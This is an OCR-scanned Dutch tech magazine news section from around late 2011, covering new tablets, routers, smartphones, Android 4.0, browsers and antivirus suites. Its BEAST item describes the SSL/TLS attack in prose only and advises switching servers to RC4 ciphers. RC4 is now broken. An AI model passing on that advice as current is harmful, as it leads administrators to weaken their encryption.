draadloze verbtndingen betreft 
beschikt hij over wlan (802.11 
b/g/n), Bluetooth (2.1 EDR) en 
3G. RFID is ook ingebouwd. De 
behuizing is van kunststof, de 
basisplaat binnenin bestaat uit 


metaal Deafmetingen zijn 277,8 
X 206 X 26,5 millimeter bij een 
gewicht van 1,1 kg. Aan weers- 
zijden is een camera ingebouwd. 
Daarnaast is de pc voorzien van 
vefwijderbare beschermhoeken. 
De Carpo-KEOOROO kan worden 
geleverd met Windows XP of 
Windows 7 embedded. Ook An¬ 
droid en MeeGo OS worden on- 
dersteund 

Deze tablet-pc Is volgens de 
leverancier voordeliger, handza- 
mer en iichter dan een industri- 
ele tablet-pc, maar wel geschikt 
voor industrieie toepassingen. 
De tablet-pc is breed inzetbaar 
voor bijvoorbeeld medisch ge¬ 
bruik, in magazijnen, als toe- 



De Carpo-KEOOROO semi-rugged 
tablet-pc in voertuighouder met 
extra beschermhoeken. 


gangscontrole en voor da¬ 
ta verzameling* 

HPS Industrial heeft 
een uitgebreid assor¬ 
timent aan accessoires 
voor het apparaat, zoals 
installatiebeugels, tas- 
sen, kabels en adapters 
voor In voertulgen* De 
prijs is op aanvraag* 
(Jmu) 


SmartBeam-router en streamingrouter van D-Link 



De draadloze router DIR-645 
van D-Ltnk heeft de vorm van 
een besehuitbus en meet met 
zijn zes antennes het sigriaal 
automatisch kunnen richten* 


D-Link heeft een Wireless-N- 
router (300 Mbps) ultgebracht 
die actief aan een beter bereik 
werkt De zogenaamde Smart- 
Beam-technologie moet er vol¬ 
gens de fabrikant voor zorgen 
dat de router de signaalsterkte 
van meerdere aangesloten 
d raad loze a ppa raten conti nu 
controleert. Met behulp van de 
zes Ingebouwde 'slimme^ anten¬ 
nes wordt het signaal vervolgens 
gericht naar deze apparaten ge- 
stuurd, zodat ze het sterkst mo- 
gelijke signaal krtjgen. 

De router is met name be- 
doeld voor toepassingen als het 
streamen van HD-films en het 
online spelen van games. Hij kan 
ook uitkomst bieden in omge- 
vlngen waar veel andere draad- 


Luxe media player 

Eminent heeft met de EM7285 
zijn meest geavanceerde HD- 
mediaplayer tot nu toe geintro- 
duceerd* Deze limited edition 
mediaplayer heeft een zwarte 


loze toestellen storingen kunnen 
veroorzaken. De DlR-645 biedt 
ook het op poorten gebaseerde 
QoS {Quality of Service), waarbij 
het netwerkverkeer per poort 
een bepaalde prioriteit toegewe- 
zen krijgt. De router heeft IPv6- 
ondersteuning en een usb-poort 
om een printer of externe harde 
schijf op het netwerk aan te slul- 
ten. De DlR-645 kost 85 euro. 

D-LInk bracht ook een spe- 
clale streamingrouter uit, de 
Wirefess-N HD Media Router 
(DIR-657). Deze is ontwikkeld 
voor dezelfde doeleinden als de 
DlR-645: HD-films kijken en on¬ 
line gamen* De router heeft ook 
een usb-aansluitlng voor een 
printer of harde schijf, met als 
extra een DLNA-gecertificeerde 


aluminium behuizing, gigabit-fan 
en ingebouwde 300N-wlan* Er is 
een inbouwslot voor een optio- 
nele interne harde schijf* De soft¬ 
ware is voorzien van een WebKit- 
browser en apps voor YouTube 
XL, Twitter, Face book en inter- 
rietradio. Net als de eerder uftge- 
brachte HD-media player EM7280 
ondersteunt de EM7285 video- 
bestanden met Full HD (1080p), 
alsmede Dolby TrueHD en DTS- 
HD master audio. De gebruikte 
Realtek RT11S5-chipset moet 
een brede codec-ondersteuning 
bieden. De USB 3.0-pooft zorgt 
voor het snel kopleren van de pc 



De EM72S5 HD Media Player van Eminent heeft een gigabtt-lan en 
300N-wfan* 


UPnP-streamingserver waarmee 
je films, foto's en muziek kunt 
streamen naar een geschikte 
client (zoals de Boxee Box), Een 
SD-cardreader aan de voorkant 
maakt het snel streamen van 
gemaakte foto's makkelijker. De 
DIR-657 heeft een prijs van 100 
euro. (jmu) 



De DIR-657 is eenWireless- 
N-router met ingebouwde 
LIPnP“ streaming server en SD- 
kaartlezer* 


naar de interne harde schijf. Het 
apparaat Is uitgerust met een 
door Project Mayhem ontworpen 
exclusieve gebrulkersinterface. 
Deze interface is overigens ook 
beschikbaar voor de EM7180 HD 
Media Player. 

De EM7285 speelt content 
van een pc of NAS direct op de 
televisie af. Hij kan ook torrents 
downioaden en bestanden van 
Usenet. Het apparaat kost 180 
euro, heeft vijf Jaar garantie en 
wordt geleverd met een Neder- 
fandstalige handlelding en alle 
benodigde kabels, waaronder 
een HDMI-kabel. (jmu) 
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Voor het echte tekenwerk 



Wacom's nieuwe 
eiektronische teken- 
bord Cintiq 24HD 
heeft een zeer er- 
gonomische voet^ 
zodat het scherm 
m alie mogelijke 
standen kan wor- 
den gezet. 


Tekenspecialist Wacom heeft het 
24" eiektronische tekenbord Cintiq 
24HD gelanceerd voor creatieve 
professionals in onder andere de 
auto- en game-industrie De nieu¬ 
we Cintiq 24HD vult de bestaande 
serie van Cintiq 21UX en de Cintiq 
12WX aan met een ruim 24" (61 
cm) HD-breedbeeldscherm (16:10, 
1920 X 1200) als digitaal pen-on- 
screen werkvlak. Ten opzichte van 
de bestaande 21" Cintiq is er ove- 
rigens veel meer veranderd dan 
alleen de grootte. 

Het nieuwe scherm heeft een 
breed kleurengamma en is com- 
patibel met veel popuiaire kleur- 
calibratieproducten. Verder biedt 
de Cintiq een groot aantal nieuwe 
functies om de workflow en het 
comfort te verbeteren. Opvallend 
is de nieuwe, ergonomisch ont- 
worpen voet met contragewicht. 
Deze zorgt ervoor dat je de hel¬ 
ling en de hoogte van de Cintiq 


kunt aanpassen aan verschillende 
werkhoudingen. Hierbij kun je het 
scherm zelfs laten zakken tot over 
de rand van de tafel, helemaal tot 
op je schoot- Je kunt het scherm 
horizontaal zenen als een tafel of 
verticaal als een monitor. Draaien 
zoals bij het 21 "“model kan echter 
niet meer, De behuizing van het 
scherm heeft links en rechts een 
extra brede rand als rustptaats 
voor de handen en armen. Voor 
de bediening zijn links en rechts 
van het scherm een touch-ring en 
vijf grote program meerba re knop- 
pen Ingebouwd, zodat je je aan- 
dacht niet steeds hoeft te verde- 
len over scherm en toetsenbord. 
De meegeleverde pen heeft 2048 
drukniveaus en een kantetcontrole 
van 40 graden. Overigens werkt 
elke intuoS“pen op dit scherm. 

De Cintiq 24HD kost bijna 2300 
euro. Meer informatie op www. 
wacom.eu. (jmu) 


Zalmans nieuwe koeler-vlaggenschip 


Koelspecialist Zalman heeft met 
de CNPS11X Extreme een ge- 
heel nieuw vormgegeven cpu- 
koeier op de markt gebracht. 
Het koeilichaam heeft van bo- 
venaf bekeken een V-vorm met 
aan de open kant een 12 cm 
PWM-ventilator. Dankzij de V- 
vorm heeft de koeler een goede 
luchtstroom en een groot koel- 
oppervlak. De CNPS11X is dus 
net zo geschikt voor zware ga- 
mecomputers als voor werksta- 
tions waar een lage geluidspro- 
ductie van belang is. 

De cpu-koeler meet 135 [L) 
X 80 (6) X 154 (H) millimeter en 
weegt 600 gram. Het opgege- 
ven maximale koelvermogen is 
350 W. Er zijn vijf heatpipes die 
de warmte van de basisplaat 
van vernikkeld koper naar de 
aluminium koelvinnen leiden. 
De ventilator is voorzien van 
btauwe leds en heeft een rota- 
tiesnelheid van 1000 tot 1950 
rpm. 


De CNPS11X Extreme kost 59 
euro {Spacepromotion.nl), indu- 
sief bevestigingsmiddelen voor 
moederborden met Intel- en 
AMD-sockets. (jmu) 



De CNPSl 1X Extreme toren- 
koeler van Zalman heeft een 
opvallende V-vorm. 


FRITZ! Box: 

thuis in 




FRITZIBox Foil WUVN 7390 - Internet, 
telefoon en digitate media in het hele huis 

De FRITZIBox is een indrukwekkend multitalent, want hij 
werkt op iedere aanstuiting, koppett al uw apparaten aan 
I elkaar en zorgt voor een ongeevenaarde verscheidenheid 

I aan functies bij uw internetaansluiting. 

~ ADSL en VDSL voor topprestaties tot 100 IVlBit/s 
T Dual-WLAN N voor gelijktijdig 2,4^GHz- en 5-6Hz-gebruik 
Telefooncentrale met geintegreerd DECT-basisstation 
“ Intern netwerkgeheugen met NAS-functionaliteit 
" Mediaserver voor muziek, foto's en film via netwerk 
” Gigabit-etherneten twee USB 2.0-aansluitingen 

De perfecte aanvullingop uwthuisnetwerk: 

FRITZIWIAN Repeater en FRlTZlFon. 

I Meer info; www.fritzbox.eu 
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Nieuws I IVLobiel 


Google-telefoon met HD-display en Android 4.0 


Googie en Samsung hebben 
medio oktober in Hong Kong de 
Galaxy Nexus gepresenteerd, de 
eerste smartphone met Android 
4.0 en een hogeresoiutle dis¬ 
play. Het scherm biedt 1280 x 
720 pixels en meet 4,65 inch, 
een kleine 12 cm. Het resultaat 
is een dpi van 315, waarmee het 
Retina-display van de iPhone 
wofdt geevenaard (326 dpi op 
3,5 inch). Samsung maakt bierbij 
gebruik van de Super-AMOLED- 
techniek, die krachtige kleuren 
en contrasten biedt. De fabri- 
kant heeft niet bekendgemaakt 
of het daarbij ook om de Plus- 
versie met verbeterde subpixel- 
structuur gaat. De behuizing 
van de Galaxy Nexus is nog 
meer gebogen dan die van de 
Nexus S CCurve Design'). Daar- 
naast is het toestel maar 9 mm 
dik en is daarmee twee millime¬ 
ter dunner dan zijn voorganger. 


De achterkant is row gehouden, 
zodat de telefoon niet snel uit 
je handen glijdt Bedienlngs- 
elementen als de knoppen voor 
home en terug zijn niet als sen- 
sortoetsen uitgevoerd, maar 
worden onder in het scherm 
in een aparte balk weergege- 
ven -- net als bij de tabletversie 
Honeycomb. 

De Galaxy Nexus zal in twee 
versies worden geleverd: een 
met LTE en een met HSPA+. Het 
is nog onbekend of de LTE-vah- 
ant ook naar Nederland komt. 
De 1,2 GHz dualcore-cpu komt 
van Texas instruments en draait 
volgens Googles benchmarks brj 
de SunSpider-test sneller dan de 
A5 in de iPhone 4S, Verder heeft 
de telefoon 1 GB RAM, afhanke- 
lijk van het model 16 of 32 GB 
flashgeheugen, WLAN, USB 2.0, 
Bluetooth 3.0, een NFC-chip, een 
gyroscoop, een barometer en de 



De Google Galaxy 
Nexus heeft een 
high-res AMOLED- 
dispiay. 


nieuwe feature Face Unlock (zie 
berlcht hieronder}. 

De 5-megapixelcamera moet 
snel ontspannen en ook bij 
slechte lichtomstandigheden 
nog redelijke foto's kunnen 
maken. Video’s worden in lOSOp 
opgenomen. De tweede camera 
voor videogesprekken heeft een 
resolutie van 1,3 megapixels. Net 


a Is bij voorganger Nexus S ont- 
breekt een slot voor geheugen- 
kaarten. De Galaxy Nexus moet 
vanaf deze maand (november) al 
in de VS en enkele Europese en 
Aziatische landen verkrijgbaar 
zijn. In ons land moeten we nog 
een maandje langer wachten. 
De advfesprijs bedraagt 649 
euro. [mvdm) 


Android 4.0 met nieuw design en nieuwe features 


Een beetje design van Windows 
Phone, een paar gestures van 
WebOS en een stukje bediening 
van iOS: Google heeft zich bij 
de nieuwste versie van Android 
georienteerd op de pluspun- 
ten van de concur re ntie en een 
paar eigen ideeen toegevoegd. 
Android 4.0 ’ice Cream Sandwich' 
is zowel voor tablets als voor 
smartphones geoptimaliseerd. 
Nieuwe features zijn het nieuwe 
lettertype Roboto, een minder 
drukke Interface en apps die 
meer gericht zijn op foto’s en een 
groot lettertype. 

Blijkbaar heeft Google ook 
het Metro-design van Windows 
Phone 7 en Windows 8 eens beter 
bekeken. Het adresboek geeft al- 
leen een grote foto van de con- 
tactpersonen weer. Oaarender 
komen het ad res, telefoonnum- 
mers en andere Informatie die 
van Google, Facebook en/of Twit¬ 
ter afkomt. Rechts in bee Id vind 
je net als bij Windows Phone 7 
een verwijzing naar een tweede 
weergave: als je van rechts naar 
links veegt, krijg je een overzicht 
van status updates en foto's van 
de betreffende persoon uit com- 
munltysites. De bediening in de 
gemoderniseerde Agenda en de 
Gmail-client werkt op dezelfde 
manier. Belangrtjke opties ais 
'Doorsturen' ’Archiveren' en Ver- 
wijderen' worden afhankelijk van 
de context onder in het scherm 


op een tweede balk - de zoge- 
naamde Action Bar - weergege- 
ven. 

De manier waarop mappen op 
het startscherm worden aange- 
maakt is afgekeken van Apples 
iOS: je sleept het ene pictogram 
op het andere. Apps, links en 
mappen kun je naar een snel- 
startbalk onderin verplaatsen. De 
automatische correct!e moet nu 
beter werken. Bij onbekende of 
verkeerd getypte woorden komt 
er een rood streepje onder te 
staan. Tap je op dat woord, dan 


delen met een pincode of een 
bepaalde beweging, maar ook 
met gezichtsherkenning (Face 
Unlock). Het is echter nog maar 
de vraag of deze gimmick ook 
betrouwbaar onderscheid kan 
maken t us sen een foto die voor 
de lens wordt gehouden en een 
echt gezichc 

Veel standaard-apps zijn uit- 
gebreid. Gmail indexeert nu stan- 
daard alle mails van de afgelopen 
30 dagen, waardoor je ook offline 
doorje berichten kuntzoeken. De 
browser Chrome moet behoorlijk 

Telefoons met 
Android 4 kunnen 
via NFC bijvoor- 
beeld kaartuitsne- 
den of links uit- 
wisselen als je de 
telefoons bij elkaar 
in de buurt houdt. 



krijg je suggesties voor correc- 
ties, Spreek je iets in via speech- 
to-text, dan wordt de informatie 
zonder vertraging weergegeven. 
Android ondersteunt nu speciale 
functies van stylussen als druk- 
gevoeligheid en stand. 

Als de telefoon vergrendeld 
is, kun je de fotoapplicatie wei 
starten en de balk met systeem- 
meldingen openen. Je kunt de 
smartphone niet alleen ontgren- 


wat sneller zijn geworden. Je kunt 
hooguit 16 tabbladen tegelijk 
open hebben en bladwijzers wor¬ 
den met het desktopprogramma 
gesynchroniseerd. Websites kun¬ 
nen voor offline gebruik worden 
opgeslagen. 

De camera-app heeft stan- 
daard een digitale zoom, een 
panoramafunctie en een edi¬ 
tor waarmee je kunt bijsnijden, 
draaien en effecten op foto's kunt 


toepassen. De Galerij is mooier 
geworden en laat fotoalbums als 
grote tegets zien, 

Als je een telefoongesprek 
weigert, ku n je een afwezigheids- 
sms sturen die je van tevoren 
hebt opgesteid. Bij de instellin- 
gen staat de optie 'Data Usage' 
die gedetailleerd weergeeft wan- 
neer welke appticatie hoeveel 
traffic heeft gegenereerd. Ook 
kun je daar instellen dat bepaal¬ 
de apps op de achtergrond geen 
data mogen laden of versturen. 
Als je tegelijk op de aan/uitknop 
en volume-omlaag drukt, maakt 
Android een screenshot. Met 
Android Beam is het mogelijk om 
via NFC informatie ais contacten 
of kaartuitsneden uit te wisselen 
met andere apparaten waarop 
Ice Cream Sandwich is gei'nstal- 
leerd. 

Android 4.0 debuteert op de 
Galaxy Nexus (zie boven).Voor de 
Nexus 5 wordt een update aange- 
boden. In theorie zou Ice Cream 
Sandwich op alle apparaten met 
Android 23 kunnen draaien. 
Omdat de standaardknoppen 
voor Android nu virtueel gemaakt 
zijn, kan dat bij oudere hardware 
een probleem opieveren. 

Bij developer.android.com is de 
ontwikkelomgeving van Android 
Ice Cream Sandwich beschikbaar. 
Hiermee kunnen programmeurs 
de nieuwe functies in hun apps 
integreren. (mvdm) 
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Eerste Nokia-toestellen met Windows Phone 
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De Nokia Lumia 800 is '“de eerste echte high-end Windows Phone" 


Nokia heeft eind oktober op de 
Nokia World de eerste smart¬ 
phones met Windows Phone 
gepresenteerd. Met high-end 
model Lumia 800 lijkt erg op de 
N9 met Meego en werd dan ook 
op diens basis ontwikkeld. Met 
toestel IS 12,1 mm dik, heeft een 
3,7"-AMOLED-display en een 
Qualcomm Snapdragon S2 met 
1,4 GHz. Andere specificaties 
zijn: 512 MB RAM, 16 GB RAM, 
wlan (llb/g/n), Bluetooth 2.1 
en een 8-megapixel camera met 
lens van Carl Zeiss. Een tweede 
camera ontbreekt Verder is de 
telefoon uitgerust met speciale 
diensten a Is Nokia Drive en de 
muziekdienst Nokia Music. Na 
registratie heb je dan toegang 
tot verschillende muziekver- 
zamelingen. De smartphone is 
vanaf 17 november bij diverse 
providers verkrijgbaar voor een 
adviesprijs van 499 euro. 

De Lumia 710 is een mid’ 
denklasse smartphone en heeft 
dezelfde processor als her 800- 
modeL Verder bevat het toestel 
een 3,7"-WVGA-lCD-scherm, 
een 5-megapixel camera en 8 GB 


geheugen. Er zit geen microSO* 
slot in. De telefoon moet 320 
euro kosten en is begin voigend 
jaar verkrijgbaar. 

Nokia en Microsoft hopen 
met hun samenwerking een 
doorbraak in het smartphone- 
segment te creeren. De Finse 
telefoonfabrikant en voormalig 
marktleider had de afgelopen ja- 
ren weinig tegen concurrenten 
Apple en Android In te brengen. 
Ook Microsoft heeft met het 
besturingssysteem Windows 
Phone nog weinig marktaan- 
deel weten te veroveren. Markt- 
onderzoekers hebben er echter 
wel vertrouwen in dat Windows 
Phone kan uitgroeien tot een 
derde ecosysteem. 

Daarbij spelen ook de provi¬ 
ders een rol, Voordat de Nokia 
World van start ging, hadden 
de carriers zich a I welwillend 
over de nieuwe apparaten geuit. 
De providers worden met een 
extra systeem minder afhanke- 
lijk van Apple en Google. Nokia 
en Microsoft zien hier een kans. 
CEO Stephen Flop verklaarde 
dat Nokia voor de Lumia 800 a I 


31 providers en resellers heeft 
weten te strjkken. 

Naast de Lumia’s kondigde 
Nokia nog vier S40-telefoons uit 


de nieuwe Asha-serie aan, waar- 
mee de fabrikant zich op opko- 
mende economieen wil richten. 

(mvdm) 


















Nieuws I Software 



Opera vecht door 

De browser Opera is in Oost-Eu- 
ropa, Brazilie, Indonesie en veel 
Afrikaanse landen erg popuiair, 
maar hier blijft het marktaanded 
vrijwel nihil- Opera Mobile en 
Opera Mini voor mobiele appa- 
raten worden daarentegen wel 
veel gebruikt. Dat leidt vaak tot 
problemen omdat webapplica- 
ties van bijvoorbeeld Google of 
Facebook Opera bewust buiten 
beschouwing laten en alleen 
cross-browser-compatibel zijn 
met Internet Explorer, Firefox, 
Chrome en Safari. Opera heeft 
dari ook meerdere mensen in 
dienst die websites nalopen 
op compatibiliteit en dan con¬ 
tact opnennen met de makers. 
Webmasters zijn dan vaak wei- 
nig bereidwiilig omdat ze voor 
die twee procent marktaandeel 
geen grote veranderingen willen 
doorvoeren. 

Bij smart-tv’s ziet Opera-CEO 
Lars Boilesen wel een markt 
weggelegd voor zijn browser. 
Apparaten van Philips, LG en 
Samsung hebben al een Opera- 


browser, maar een paar fabri- 
kanten als Sony maken zelf iets. 
Op de conferentie 'Up North 
Web’ demonstreerde Opera een 
TV Store waar tv-kijkers apps 
kunnen installeren, die dan 
door de browser-engine wor¬ 
den aangedreven. Daar is een 
Broadcom-chipset voor nodig 
en de komende maanden zullen 
de eerste apparaten daarmee 
verschijnen. Op de achtergrond 
draaitOpera 12,zodatzelfs hard- 
wareversneide 3D-graphIcs met 
WebGLmogelijkzijn, 

Die hardwareversnelling 
is dan ook meteen het groot- 
ste nieuws in de alfaversie van 
Opera 12 voor Windows, Mac 
OS en Linux {zie softlink). WebGL 
werkt a I, DirectX is nog in de 
maak. 

De verbeteringen aan de 
JavaScript-engine en de net- 
werkcode komen ook in Opera 
Mobile en MinL De HTML-parser 
kan nu eindelijk ook met ver- 
anderde syntaxis van HTML 5 
overweg, waardoor bijvoorbeeid 


SVG-code binnen HTML moge- 
lijk Is. De score bij HTMLStest 
stijgt daarmee van 286+7 (Opera 
11.51) naar 336+9 van de 450, 
een traaie tweede plek achter 


Chrome. Opera is volgens Boile- 
sen dan ook nog lang niet afge- 
schreven. (nkr) 
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Gratis beeldbewerkingssoftware Remote desktop met Google Chrome 


De gratis beeldbewerkingssoft¬ 
ware PixBuilder Studio 2 heeft 
de gebruikelijke basistools voor 
kleurcorrectie. Met het pro¬ 
gramme kun je ook met lagen en 
maskers werken, maar niet met 
(aagmaskers. Voor het maskeren 
en selecteren zijn er een aantal 


lassovarianten, een toverstaf en 
selectie van een kleurberelk- Als je 
storende beeiddetails wilt verwij- 
deren, kan dat met de kioonstem- 
pel en het re pa rati epen seel. Het 
Windows-programma kan JPEG, 
GIF, PNG en PSD lezen, maar on- 
dersteunt geen RAWToto's. (nkr) 


Met de browserextensie Chrome 
Remote Desktop kun je een 
computer over afle systeem- 
grenzen been op afstand bedie- 
nen. Je kunt de als betaversie 
uttgebrachte add-on downloa- 
den In de Chrome Web Store. 
Deze werkt op alle platforms 
waar ook de browser op werkt, 
oftewel Windows, Mac OS, Linux 
en Chromebook. Met Chrome- 
books kun je op dit moment al¬ 
leen toegang krljgen tot andere 
computers, het bureaublad van 
Chromebook Is niet remote te 
bedienen. 

Om met Chrome Remote 
Desktop bij een andere com¬ 
puter te kunnen, moeten de 
browser en de add-in op beide 
computers gemstalleerd zijn. 


Onder Windows heb je geen ad- 
ministratorrechten nodig omdat 
Chrome niet in de map met Pro¬ 
gram Files geTnstalleerd staat, 
maar in de map van de Gebrui- 
ker. 

Aan de kant van de computer 
die op afstand bed tend moet 
worden, genereert de add-on 
een 12-ciJfenge toegangscode. 
Deze geef je door aan degene 
die op jouw computer moet 
kunnen en dan start de remote 
sessie, Bij een eerste test Hep dat 
bij een gemiddelde internet- 
verbinding redelijk vtoeiend De 
bedrijfsfirewall blokkeerde de 
verbs nding niet Na een paar mi- 
nuten niets doen wordt de ver- 
binding automatisch beeindigd. 

[nkr} 


De freeware 
PixBuilder 
Studio 2 werkt 
met lagen 
en heeft een 
aantal selectie- 


tools. 



Kort nieuws 

Magix heeft alles wat nodig is 
om een website te maken in het 
pakket Web Designer gestopt 
Versie 7 heeft een 30-tai sjablo- 
nen met verschillende stijien. De 
gewone versie met 500 MB aan 
hosting kost 50 euro, de Premi¬ 
um-variant met onder andere 


de mogelijkheid voor Flash-ban¬ 
ners 100 euro. 

Google wil zich helemaal op 
Google+ gaan richten en sluit 
daarom een aantal services die 
niet meer ondersteund worden. 
Buzz is er daar een van. Dat 


was elgenlijk de voorloper van 
Google+. GcogJe heeft er nogal 
wat gedoe mee gehad wegens 
b evei I i gi ng sprob I em en. 

Ontwikkelaar Two Lives Left 
heeft met Codify visual touch 
programming op de iPad mo- 


gelijk gemaakt Met Codify kun 
je op een makkelijke manier 
games, simulaties etc maken. 
De code editor is gebaseerd 
op de programmeertaal Lua en 
kan gebrulk maken van iPad- 
functies als multitouch en de 
accelerometer. 
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Nieuws I Development en security 


JavaScript-alternatief Dart komt eraan 


SSLenhet BEAST 


Google bracht onlangs de 
nreuwe programmeertaal Dart 
uit, een eigen ontwerp van een 
browser-side taal voor web- 
applicaties. Dart werkt nr^et een 
op klassen gebaseerde objec- 
torientatte en moet geschikt 
zijn voor zowel het ontwerpen 
van prototypes ais voor grote 
projecten. De syntaxis van Dart 
lijkt op die van andere gangbare 
programmeer- 
talen. 

Op de langere 
termijn moet Dart 
het al wat oudere 
JavaScript gaan 
aflossen, dat vol- 
gens Google niet 
meer voldoet aan 
de performance- 


eisen van moderne webappli- 
caties. Dart moet In een eigen 
virtuele machine draaien of op 
een bestaande Java Script-en¬ 
gine kunnen terygvallen. In het 
laatste geval moet een compiler 
de Dart-code omzetten in Java- 
Scrlpt-code. Google overweegt 
om een vlrtuele machine voor 
Dart in Chrome In te bouwen. 

(nkr) 


Op de web¬ 
site van Dart 
kun je de 
programmeer¬ 
taal in een con¬ 
sole uttproberen. 


DART 




f rom quick prototyfies to «rloM5 apps 


Wherever you netd structured codo 


Fsrnllisr y«t r>iw 


Examplas of Dart rode 



EInd September presenteerden 
Jyliano Rizzo en Thai Dung de 
tool BEAST (Browser Exploit 
Against SSL/TLS) die de ver- 
sleuteling van SSL kan kraken. 
Ze lleten bijvoorbeeld zien hoe 
cookies voor PayPal gerecon- 
stureerd konden worden. Het 
gaat alleen om de protocollen 
SSL 3,0 en TLS 1.0 als die de 
Cipher-Block-Chaining-mod us 
(CBC) van AES, DES en anderen 
gebruiken. TLS 1.1 is a I slnds 
2006 beschikbaar en in 2008 
voigde zelfs TLS 1.2. 

Microsofts Internet Infor¬ 
mation Server ondersteunt 
vanaf Windows Server 2008 R2 
pas het protocol TLS U, Ser¬ 
ver 2003 gebruikt nog het at- 
goritme RC4 en TLS 1.0, maar 
grappig genoeg werkt BEAST 
niet met RC4 omdat die geen 
CBC gebruikt. De opiossing van 
Microsoft is dan ook: ga terug 
naar RC4 (zie ook bij de soft- 
link). 

Dat kan ook bij Apache- 
servers met mod_ssl. Daarblj 
wordt de prioritelt van de op 
RC4 gebaseerde codeermetho- 
den verhoogd. Als je bij Apa¬ 
che toch Never TSL 1.1 wilt ge¬ 


bruiken, heb je een probleem 
omdat OpenSSL dat pas in de 
komende versie 1.0,1 onder¬ 
steunt. De opensource biblio- 
theek GnuTLS is een alternatief 
met naast SSL 3.0 en TLS 1.0 
ook de standaarden TLS 1.1 en 
1 . 2 . 

Ook browsers moeten TLS 
1.1 en 1,2 ondersteunen. Inter¬ 
net Explorer (onder Windows 7) 
en Opera doen dat wel, maar 
niet standaard. Bij Windows 
XP werkt dat niet, die kan at- 
leen overweg met TLS 1.0 met 
RC4. Chrome en Firefox gebrui¬ 
ken de bibliotheek Network 
Security Services (NNS) voor 
de versleutellng en die werkt 
alleen met TLS 1.0. NNS geeft 
de voorkeur aan het algoritme 
Camelia boven AES, maar dat 
gebruikt ook CBC. Safari onder¬ 
steunt nog geen TLS 1.1. Hele- 
maal zonder SSL 3.0 en TSL 1.0 
za! dus moeilijk gaan en RC4 is 
momentee! een betere opios¬ 
sing. Google gebruikt dat op 
zijn servers voorzichtigheids- 
halve ook. (nkr) 
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Antivirus: ook voor telefoon en tablet 


Met All Access 2012 en Internet 
Security 2012 Plus brachten 
McAfee en F-Secure onlangs 
twee totaaloplossmgen voor 
computerbeveiligrng op de 
markt. Belde suites moeten de 
gebrulker nog beter beveiligen 
tegen online en offline geva- 
ren. Daarblj zijn de suites bo- 
vendien niet meer beperkt tot 
de Mac of pc. 

Pure virusscanners ver- 
dwijnen steeds verder naar 
de achtergrond. Vrijwel alle 
antlvirusproducenten promo- 
ten voornamelijk hun totaal- 
oplossingen die behalve een 
firewall ook spam- en phising- 
filters voor e-mail, kmderbe- 
scherming en online back-ups 
bieden. Met de opkomst van 
smartphones en tablets ont- 
dekken de bedrijven inmiddels 
een nieuwe markt, namelijk die 
van mobiele apparaten met 
een internetverbinding. Zowel 
McAfee als F-Secure komen 
daarom met nog completere 
totaaloplossingen, waarin ook 
mobiele beveiligtng is opgeno- 


men. Voor mobiele apparaten 
krijg je dan naast internetbe- 
veiliging ook bijvoorbeeld de 
moQelijkheid om ze op afstand 
te vergrendelen, op te sporen 
of te wissen. Het pakket van 
McAfee heet All Access 2012 
en F-Secure noemt het Internet 
Security 2012 Plus. 

McAfee gaat het verst met 
de integratte en biedt ^^n 
pakket met bescherming voor 
Windows, Mac OS X, Android, 
Blackberry en Symbian. Vanuit 
een centrale console kun je dan 
alle antivirusproducten van 
McAfee op de betreffende ap¬ 
paraten installeren. De Wave- 
Secure-app voor iOS mocht van 
Apple niet in het pakket opge- 
nomen worden en moet je dus 
Jos kopen In de App Store. De 
producten die je vanutt McA¬ 
fee All Access kunt rnstalleren, 
wljken soms af van de normale 
versie. Zo heeft Antivirus Plus 
in dit geval geen firewall en 
krijg je bij Internet Security de 
uitgebreidere Site Advisor Live 
die normaal alleen in het Total 


Security-pakket zit. Natuurlijk 
zijn ook de afzonderlijke com- 
ponenten verbeterd. De suite 
biedt een snellere scanner en 
zit andere programma's min¬ 
der in de weg, die daardoor 
minder traag draaien. McAfee 
Total Security Protection 2012 
heeft van het onafhankelijke 
antlvirus-testinstituut AV-test. 
org echter geen testcertificaat 
gekregen, met name vanwege 
het onderdeel repair. McAfee 
werkt aan een opiossing. 

F-Secure Internet Security 
2012 Plus is een combinatie 
van Internet Security 2072 
voor Windows en Mobile Secu¬ 
rity voor Android, Symbian en 
Windows Mobile. Opvallend is 
de nieuwe functie in Internet 
Security om updates via UMTS- 
verbindingen zelf te beheren. 
Daarmee kunnen de kosten 
voor mobiele apparaten bin- 
nen de perken worden gehou- 
den, Verder is de interface ge- 
renoveerd en krijg je nu via een 
speciaai Launch Pad eenvoudig 
toegang tot instellingen en 


functies als de online back-up. 
Nieuw is de DeepGuard Intel¬ 
ligent Execution (iX) om vooral 
versleutelde malware beter te 
herkennen. Ook Is de brow- 
serbeveiliging verbeterd, met 
name door betere cloudser- 
vices. internet Security 2012 
scoort In de test van AV-test op 
alle fronten goed. 

Een l-jarig abonnement op 
McAfee All Access 2012 kost 
90 euro voor een gebruiker en 
120 euro voor vijf. Antivirus 
Plus en Internet Security kos¬ 
ten 50 respectievelijk 60 euro 
voor een gebruiker en 60 res¬ 
pectievelijk 70 voor drie. Voor 
McAfee Total Protection betaal 
je 80 euro voor drie gebruikers 
en de Mobile Security-versie 
kost 30 euro. F-Secure Inter¬ 
net Security 2012 Plus kost 80 
euro voor 3 computers en 1 
tefefoon. Internet Security kost 
45 euro voor 1 computer en 60 
voor drie. F-Secure Anti-Virus 
kost 40 euro voor drie perso- 
nen, Mobile Security 25 euro. 

(hhe) 
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Nieuws I Linux 


Najaarsconferentie NLUUG in taken van IPv6 



Owen Delong sprak op de NLUUG ztjn bezorgdheid uit over het 
feit dat nog niet veel systeembeheerders actief met IPv6 bezig zijn. 


IPv6 gaat gebeuren en het is de 
enige levensvatbare weg voor het 
moderne intemef, aldus Owen 
Delong. De IPv6-evdngelist en 
Director of Professional Services 
bij Hurricane Electric sprak eind 
oiaober tijdens de Najaarsconfe¬ 
rentie van de NLUUG, een vereni- 
ging van professlonele gebrulkers 
van open systemen en open stan- 
daarden, "De groei van het inter¬ 
net komt in gevaar naarmate het 
aantal IPv4-adressen steeds verder 
opraakL" 

DeLong sprak zijn zorgen uit 
over de huidige stand van zaken. 
Volgens hem moeten systeenn- 
beheerders zich snel gaan voor- 
bereiden op de overstap. In de 
praktijk komt hi] echter weinig 
professionals tegen die In hun be- 
drijf met de Implementatie van het 
nieuwe protocol bezig zijn. Toch 
gingen er in de zaal behoorlijk wat 
handen in de tucht op de vraag 
wle er al bezig was met implemen- 
teren. DeLong, verbaasd: ’Zoveel 
handen zie ik meestal n\e€ 

Om het belang van de overstap 
te onderstrepen, wijst DeLong 
op de situatie bij de vijf Regio¬ 
